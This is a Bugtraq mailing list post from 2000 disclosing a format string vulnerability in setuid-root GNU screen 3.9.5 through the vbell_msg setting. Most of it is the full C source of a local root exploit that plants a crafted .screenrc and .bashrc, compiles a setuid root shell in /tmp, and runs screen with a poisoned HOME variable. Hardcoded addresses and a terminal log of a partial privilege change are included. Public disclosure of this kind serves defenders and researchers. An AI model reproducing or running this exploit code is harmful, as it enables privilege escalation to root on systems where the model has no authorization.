Bugtraq mailing list archives
Screen 3.9.5 vulnerability again.
From: Paul Starzetz <paul () STARZETZ DE>
Date: Fri, 8 Sep 2000 02:49:45 +0200
Hi all as mentioned in previous postings, screen versions <= 3.9.5 which are installed suid root are vulnerable to a malformed user supplied vbell_msg string attack. I looked at the source of screen-3.9.5 and found that the vulnerable call to Msg() moved to another place and that there is no longer a buffer holding the cwd, from which screen was started. But again, after a examination of the stack I found, that if compiled with the 'NETHACK' flag (which seems to be default), there is still a buffer holding an usable string from environ, namelly char nethackrc[MAXPATHLEN]; which holds the value of 'HOME'. So the exploitation can be done by creating a prepared home dir and putting it into environ. The buffer nethackrc (which has an offset about 300-600 from the vulnerable function) is filled only if the environ variable 'NETHACKOPTIONS' is _not_ set, but after we can use our own environ... MAXPATHLEN may be too small to reach the original environ strings from Msg() and the 'vbell_msg' command in .screenrc takes max. about 2000 characters, so we can 'eat' max. ~ 1000*sizeof(double) (%g conversion) bytes from the stack frame inside Msg(). Exploiting over the original environ area may be really hard :-) Nevertheless it works again on SuSE 6.1 with compiled screen-3.9.5 from sources (maybe some one checks the rpms). On OpenBSD so far as I could check (OpenBSD lemur 2.8 KALM#4 i386) a problem arises from the low VM addresses, I found an uid offset = 0x3d1e4, which has 0x00 if converted to 4 x unsigned char. But how construct a C string containg a few '0' ;-) What about overwritting the RET? So now the exploit: paul@phoenix:/usr/home/paul/tmp2/screxp > id uid=500(paul) gid=100(users) groups=100(users) paul@phoenix:/usr/home/paul/tmp2/screxp > a.out 0 0 3 ... chown: /tmp/sush: Operation not permitted paul@phoenix:/usr/home/paul/tmp2/screxp > <ctrl-g> <ctrl-c> shell-init: could not get current directory: getcwd: cannot access parent direct ories: Permission denied chown: /tmp/sush: Operation not permitted I have no name!@phoenix:/usr/home/paul/tmp2/screxp > id uid=177 gid=100(users) groups=100(users) so you can again play with the writeoffset (-1 :-) and gain r00t. IhaQueR --------------------------------------- expl395.c (broken) ------------------------------------------ /**************************************************************** * * * Screen 3.9.5 local exploit * * by IhaQueR@IRCnet * * only for demonstrative purposes * * * ****************************************************************/ #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/utsname.h> #include <pwd.h> #include <stdlib.h> #include <errno.h> #define SCREENRC ".screenrc" #define BASHRC ".bashrc" #define SCREEN "/usr/home/paul/tmp2/screen-3.9.5/screen" #define TMPPATH "/tmp/" /* to help you hit the buffer we repeat the addr in the dir path */ #define AREP 48 /* but write only once */ #define WREP 1 /* offset of the nethack-buffer seen from Msg() */ #define BUFOFFSET 592 #define TMPBUFSIZE (BUFOFFSET+1024) /* addr to be written (may vary)*/ #define WRITEADDR 0x8084e14 /* some addresses grabbed from 3.9.5 S.u.S.E 6.1: 592 &real_uid, &real_gid, &eff_uid, &eff_gid own_uid 0x8084e14 0x80839fc 0x8083950 0x8083954 OpenBSD: 320 &real_uid, &real_gid, &eff_uid, &eff_gid own_uid 0x3d1e4 0x3d1e4 for finding addresses see expl.c, it may be hard... */ int main(int argc, char** argv) { int i, off=0; int writeoffs, bufoffset, padding, bfoff; unsigned a, *p; FILE* fp; char buf[TMPBUFSIZE]; unsigned char adr[(AREP+4)*sizeof(unsigned)]; char screenrc[TMPBUFSIZE]; char bashrc[TMPBUFSIZE]; if(argc != 4) { printf("USAGE %s <write offset> <bufferoffset> <padding>\n", argv[0]); return 0; } else { printf("Screen 3.9.5 local r00t exploit\n"); printf("by IhaQueR@IRCnet\n\n"); } /* user supplied offsets */ writeoffs = atoi(argv[1]); bfoff = atoi(argv[2]); padding = atoi(argv[3]); /* create home string */ bzero(adr, (AREP+2)*sizeof(unsigned)); sprintf(adr, "HOME=%s", TMPPATH); /* pad */ for(i=0; i<padding; i++) strcat(adr, "P"); p = (unsigned*) (adr + strlen(adr)); a = WRITEADDR + writeoffs; for(i=0; i<AREP; i++) { *p = a; p++; } *p = 0; if(mkdir((char*)(adr+5), 0xfff)) if(errno != EEXIST) { printf("\nERROR: mkdir()"); return 2; } /* PWD=cwd/ourdir\000 + VARNAME= => off + 6 + strlen(VARNAME) */ off += strlen(TMPPATH); off += bfoff*8; bufoffset = BUFOFFSET + off; /* strings for .screenrc and .bashrc */ strcpy(screenrc, adr+5); strcat(screenrc, "/"); strcat(screenrc, SCREENRC); strcpy(bashrc, adr+5); strcat(bashrc, "/"); strcat(bashrc, BASHRC); /* create vbell string */ printf("creating magic string\n"); bzero(buf, TMPBUFSIZE); /* consume stack arguments */ for(i=0; i<bufoffset/8+1; i++) strcat(buf, "%.0g"); /* finally write to adress */ for(i=0;i<WREP; i++) strcat(buf, "%x"); /* create screenrc */ printf("building %s\n", SCREENRC); if(fp = fopen(screenrc, "w")) { fprintf(fp, "vbell on\n"); fprintf(fp, "vbell_msg '%s'\n", buf); fprintf(fp, "vbellwait 3600\n"); fclose(fp); } else { printf("ERROR: opening %s\n", screenrc); return 1; } /* create bashrc */ printf("creating %s\n", BASHRC); snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root:root /tmp/sush; chmod 4755 /tmp/sush'", bashrc); system(buf); /* create suid shell */ printf("compiling suid shell\n"); snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char** av){setuid(0); setgid(0); execv(\"/bin/bash\", av);}'"); system(buf); system("gcc /tmp/sush.c -o /tmp/sush"); /* set env and call screen */ argv[1] = NULL; printf("press enter to start screen, then hit enter again, ctrl-g, ctrl-c for suid shell at /tmp/sush"); putenv(adr); getchar(); execv(SCREEN, argv); } ------------------------------------------------------------------------------------------ Disclaimer: Any resemblance between the above views and those of my employer, my terminal, or the view out my window are purely coincidental. Any resemblance between the above and my own views is non-deterministic. The question of the existence of views in the absence of anyone to hold them is left as an exercise for the reader. The question of the existence of the reader is left as an exercise for the second god coefficient. (A discussion of non-orthogonal, non-integral polytheism is beyond the scope of this article.)
Current thread:
- Screen 3.9.5 vulnerability again. Paul Starzetz (Sep 08)